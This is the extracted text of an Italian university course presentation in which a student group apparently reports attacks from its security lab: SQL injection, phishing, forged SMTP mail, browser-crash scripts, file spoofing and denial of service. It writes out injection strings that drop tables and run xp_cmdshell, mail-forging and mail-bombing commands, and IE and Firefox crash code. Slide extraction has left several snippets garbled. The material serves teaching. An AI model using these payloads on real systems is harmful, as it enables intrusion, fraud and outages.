Title: KGBGROUP I NOSTRI ATTACCHI
1KGBGROUPI NOSTRI ATTACCHI
Ferrara Felice Sorrentino Luigi Giallaurito Ettore
Prof. A. De Santis Dott. L.Catuogno
2Indice
- Sql Injection
- Phishing e mail fasulle
- Attacchi attraverso siti web
- Pharming e file spoofing
- Denial of Service
3Sql injection
Tutti gli attacchi ad applicazioni, tipicamente
web, in cui il programma utilizza esegue
operazioni su un database SQL utilizzando
variabili passate dallutente senza averle prima
verificate Generalmente le applicazioni hanno
dei form che fanno leva su database interrogati
sulla base dei dati inseriti dallutente Quindi
ogni volta che si sottomette un form viene
eseguita unoperazione su un database
4Sql injection
Possiamo quindi considerare il caso tipico della
login di un utente su un sito web Lutente
inserisce la propria login e password e
sottomette i dati Ipotizzando che la login sia
Felice e la password sia 5561245 allora è
presumibile che sia eseguita la query SELECT
from tabella where ID' Felice ' AND
PASSWORD' 5561245 '
5Sql injection
Il nostro obiettivo è quello di ingannare il
parser sql per generare comportamenti
imprevisti Proviamo ad inserire il carattere '
nel campo login e sottomettere i dati Se non sono
stati fatti controlli sui dati di input allora la
query eseguita sarà la seguente SELECT from
tabella where ID' ' ' AND PASSWORD' '
Lapice viene considerato come simbolo di
dichiarazione Viene generato un errore
6Sql injection
Proviamo ad inserire la stringa ' OR "' nei
campi login e password La query eseguita sarà la
seguente SELECT from tabella where ID ' '
OR "' ' AND PASSWORD ' ' OR "' ' La clausola
WHERE sarà sempre vera e lhacker è autenticato
senza credenziali! Spesso lamministratore si
registra tra gli utenti posizionandosi nella
prima tupla della tabella ? poiché la select
restituirà la prima tupla della tabella lhacker
sarà loggato come amministratore
7Sql injection
Utilizzando quest idea è possibile generare
tutta una serie di attacchi sfruttando i soli
campi di login e password Username ' drop
table members--Effetto Eliminazione della
tabella di un database Username
aaaaaaaaaaaaaaa'Password ' shutdown
--Effetto Chiusura del database Username '
EXEC master..xp_cmdshell 'dir'--Effetto
Esecuzione del comando dir per ottenere un
listato delle directory Username ' EXEC
master..xp_regread HKEY_LOCAL_MACHINE,'percorso','
chiave'--Effetto Lettura di una chiave del
registro di Windows
8Sql injection
In generale la costruzione della stringa dipende
dalla versione del server sql in uso. Prevenire
questattacco è semplice Basta controllare lato
server se lhacker ha inserito degli apici È
bene non fidarsi del codice javascript che può
essere aggirato soprattutto se la richiesta è di
tipo GET È opportuno limitare i privilegi
9Phishing
Il termine phishing (abboccamento) deriva dalla
storpiatura del verbo inglese to fish che
significa pescare Lidea è quella di pescare
utenti in rete per farli cadere allinterno di
trappole tese da incalliti ed navigati truffatori
Lobiettivo è ottenere informazioni sensibili
quali i usernames, le parole d'accesso, le
identificazioni di cliente o comunque dati che
permettano di estorcere illegalmente soldi ad
ignari utenti
10Phishing
In termini pratici il phishing si traduce nel
dirigere utenti verso siti pirata che hanno
lobiettivo di simulare organizzazioni reali per
ottenere informazioni Il phisher segue due passi
1 Copia grafica del sito di riferimento
dellorganizzazione target 2 Attrarre le
vittime verso il sito
11Phishing
Il primo passo è banale ed esistono peraltro tool
che ben supportano questa operazione Noi abbiamo
utilizzato Teleport La sezione dinamica del sito
viene riprogrammata per verosimiglianza Lutente
apparentemente fa operazioni ma viene costretto
in ogni modo a rivelare le proprie informazioni
incutendo terrore nella vittima con messaggi che
lo inducano ad agire velocemente e
sconsideratamente Per fare ciò si inviano
messaggi che obbligano ad esempio a svelare
login, password, codici bancari . Il sito
pirata nella realtà viene piazzato su server in
nazioni estere
12Phishing
Il secondo passo consiste nel dirigere le vittime
verso la trappola Per fare questo esistono due
possibilità 1) DNS POISONING (nella maggior
parte dei casi un miraggio) 2) Utilizzo di vere e
proprie esche Abbiamo considerato questa
seconda strada
13Phishing
Una prima possibilità è quella di mettere il link
allinterno di forum o chat Il limite di questa
strategia è che questi link possono avere scarsa
visibilità e possono essere eliminati velocemente
prima di aver fatto danni La seconda possibilità
è quella di utlizzare il servizio di posta
inviando mail fasulle che ricalcano la grafica
delle organizzazioni target Allinterno delle
mail si posiziona un link che punta al sito pirata
14Phishing
I phisher hanno un potente alleato gli spammers
Questi mettono a disposizione i loro database
per fornire indirizzi attivi In generale non è
bene fidarsi dellindirizzo visualizzato al
passaggio del mouse poiché può essere mascherato
attraverso codice javascript
15Mail fasulle
Argomento correlato al phishing è quello delle
mail fasulle Sendmail è un daemon che aspetta
connessioni sulla porta 25 usato per inviare la
posta in uscita Collegandosi tramite telnet in
prova.it sulla porta 25 e digitando i comandi
esatti, è possibile generare e-mail
false Supponiamo che il nostro obiettivo è
vittima_at_lamer.it a cui vogliamo recapitare una
mail da parte di Bill_Gates_at_microsoft.com
16Mail fasulle
Dopo esserci connessi a prova.it25 dovremmo
ottenere un messaggio del tipo 220 prova.it
ESMTP Sendmail 8.9.3/8.8.6 thu, 8 Jul 2006
114601 0000 (GMT) I comandi saranno HELO
nomeprovider.it La risposta sarà 250 prova.it
Hello NOMEPROVIDER.IT, pleased to meet you MAIL
FROM ltBill_Gates_at_microsoft.comgt RCPT TO
ltvittima_at_lamer.itgt DATA con il contenuto seguito
da due righe vuote e dal punto
17Mail fasulle
Concettualmente è possibile seppellire la mail
box di un potenziale vittima ponendo come
mittenet la vittima e destinatario un listserv Un
Listserv è un programma che invia programmi
tramite e-mail nel caso non si riesca a
prelevarlo via FTP. Se ad esempio sappiamo che
nella directory "mieifiles" del server pluto.it
c'e un file di 20 megabyte il cui nome è
"enorme.gz" possiamo fare in modo che quei 20 MB
vengano inviati sotto forma di testo nella e-mail
della nostra vittima, ponendo nel campo SUBJECT
quanto segue REPLY vittima_at_lamer.itCONNECT
pluto.it anonymous indirizzo_at_falso.comBINARYGET
mieifiles/enorme.gzQUIT
18Attacchi attraverso siti web
Fare eseguire lato client codice o script Molto
dipende dalle configurazioni e dalle verioni del
software utilizzato dai client Abbiamo analizzato
le applet java, javascript e Macromedia
Flash Tutte implementano un modello di sicurezza
basato su sandbox
19Attacchi attraverso siti web
- JAVA(lultima versione) ha un livello di
sicurezza superiore rispetto alle altre 2
tecnologie - È però possibile scrivere codice
- Con lobiettivo di usurare le risorse del client
- Far crashare alcuni browser
20Attacchi attraverso siti web
Javascript ha una lunga ingloriosa storia legata
a problemi di sicurezza Riportiamo alcuni esempi
tra quelli documentati
function ex() var buffer "" for (var i
0 i lt 5000 i) buffer "A" var
buffer2 buffer for (i 0 i lt 500 i)
buffer2 buffer document.title
buffer2
Exploit per alcune versione di Firefox 1.5
21Attacchi attraverso siti web
È più semplice attaccare Internet Explorer
6.0 Attacco per Denail of Service ltHTMLgtltSCRIPTgt
a new Array() while (1) (a new
Array(a)).sort() lt/SCRIPTgtltSCRIPTgt a new
Array() while (1) (a new Array(a)).sort()
lt/SCRIPTgtlt/HTMLgt Attacco per far crashare il
browser function Demo() var a
document.createElement('table') var b
document.createElement('frameset')
a.appendChild(b)
22Attacchi attraverso siti web
Adobe ha sviluppato un linguaggio di script
(Action Script)per potenziare Flash È possibile
inviare richieste http a terze parti settando
degli header var reqLoadVarsnew
LoadVars()req.addRequestHeader("Foo","Bar")req
.send("http//www.vuln.site/some/page.cgi?p1v1p2
v2", "_blank","GET") Oppure var
reqLoadVarsnew LoadVars()req.addRequestHeader(
"Foo","Bar")req.decode("abcd")req.send("htt
p//www.vuln.site/some/page.cgi?p1v1p2v2",
"_blank","POST")
23Pharming
- Tecnica basata essenzialmente sulla
manipolazione degli indirizzi web - Punta a modificare lassociazione tra
indirizzi IP e nomi di dominio per reindirizzare
lutenza verso altri siti. - Due tecniche di attacco
- si operano delle variazioni nei Server DNS
dell'Internet Service Provider modificando gli
abbinamenti tra il dominio e l'indirizzo IP
corrispondente a quel dominio - con l'ausilio di programmi trojan una
variazione nel personal computer della vittima
24Inviare trojan con File spoofing
- Lo scopo è quello di inserire o modificare gli
abbinamenti tra il dominio interessato e
l'indirizzo IP corrispondente a quel dominio in
un file locale particolare (File hosts in
windows) - Lo spoofing dei tipi di file è una tecnica
usata per simulare che un certo file corrisponda
ad un tipo diverso da ciò che è realmente - ingannare un utente facendogli credere che un
trojan sembri un tipo di file innocuo
25Inviare trojan con File spoofing
- Due tecniche conosciute
- Trucco della doppia estensione di Windows
- Rinominare un file con una doppia estensione in
modo tale da ingannare la visualizzazione di
windows (ES Archivio.zip.exe viene
visualizzato come Archivio.zip) - Attacco da eseguire a coloro che conoscono
windows da 2(massimo 3) giorni D - Il mime nelle e-mail
- Gli attachment in un messaggio di posta
elettronica vengono codificati usando lo standard
MIME con una codifica di solo testo nel caso dei
file ASCII puri (TXT, BAT, HTA) oppure con la
codifica "base64" nel caso si tratti di file
binari - L'inganno consiste proprio nel cambiare il
campo "Content-Type" indicando magari che un file
eseguibile è un'immagine
26Il nostro scopo
- Riuscire a dirottare tutto il traffico
possibile verso la nostra macchina - Ottenere informazioni sui possibili utenti del
sito attaccato - Creando un sito che simulasse gran parte delle
funzionalità - Lutente ignaro della situazione avrebbe avuto
accesso al sito fasullo e avrebbe dato
informazioni di login che si potevano sfruttare
per fare altri danni
27Come difendersi
- Non esistono ancora dei programmi specifici ma
si usano - firewall che tentano di impedire l'accesso al
proprio PC da parte di utenti esterni - antivirus che bloccano l'esecuzione di codice
malevolo - Siti certificati
- Se il sito a cui ci si collega è un sito sicuro
prima dell'accesso verrà mostrato un certificato
digitale emesso da una autorità di certificazione
conosciuta - Questo certificato andrebbe quantomeno letto e
non frettolosamente accettato
28Denial of Service
- Attacco con cui un aggressore tenta di rendere
una risorsa troppo occupata per rispondere a
richieste legittime o di negare a utenti
legittimi l'accesso ad una macchina - I primi attacchi si cercavano di esaurire
risorse hardware della vittima, quali lo spazio
su disco, la memoria e la CPU - ciò era ottenibile spedendo pochi pacchetti
malformati che mandavano in crash il sistema
remoto - Due tipi sono più conosciuti
- Syn-Flood
- Smurf
29Syn-Flood
- Letteralmente "inondazione di pacchetti di
tipo Syn" - Tutte le volte che un utente fa click su di un
link di una pagina web - si richiede l'apertura di una connessione (di
tipo TCP) verso quel sito - si eseguono una serie di passi, il primo dei
quali consiste nell'invio di un pacchetto TCP che
richiede l'apertura di una connessione - Le regole di funzionamento del protocollo TCP
esigono che il sistema risponda allocando alcune
risorse per la connessione
30Syn-Flood(2)
- si richiede l'apertura di diverse migliaia di
connessioni al secondo che - "inondando" il server
- ne consumano rapidamente tutta la memoria,
bloccandolo o mandandolo in crash. -
31Smurf
- utilizza un flusso di pacchetti modesto che
- è in grado di passare attraverso una normale
connessione via modem, ed una rete esterna, che
sia stata mal configurata - usa la rete malconfigurata, che agisce da
moltiplicatore di pacchetti, i quali si dirigono
infine verso il bersaglio finale lungo linee di
comunicazione ad alta velocità - Si noti che questo tipo di attacco è possibile
solo in presenza di reti che abbiano grossolani
errori di configurazione dei sistemi (router) che
le collegano tra loro e con Internet
32Distributed Denial of Services
- DDoS ripete lo stesso approccio utilizzando
però diversi punti d'ingresso contemporanei - si è in grado di mettere in ginocchio sistemi
più grandi che sarebbero indifferenti ad un
singolo flood - Come funziona
- si infettano un numero elevato di
computer(successivamente chiamati zombie) con dei
virus o worm che lasciano aperte delle backdoor
riservate - Quando il numero di zombie è ritenuto adeguato,
o quando scatta una specifica data, i computer
infetti si attivano e sommergono il server
bersaglio di false richieste
33I nostri attacchi DoS
- Inutile fare un attacco DoS su una rete non
attiva - Congestionare una rete o incrementare
esponenzialmente il lavoro un computer che che
non offrono servizi è un controsenso D - Il nostro lavoro si è incentrato soprattutto
su altre tipologie di attacco più produttive in
relazione a quelli che erano gli scopi del corso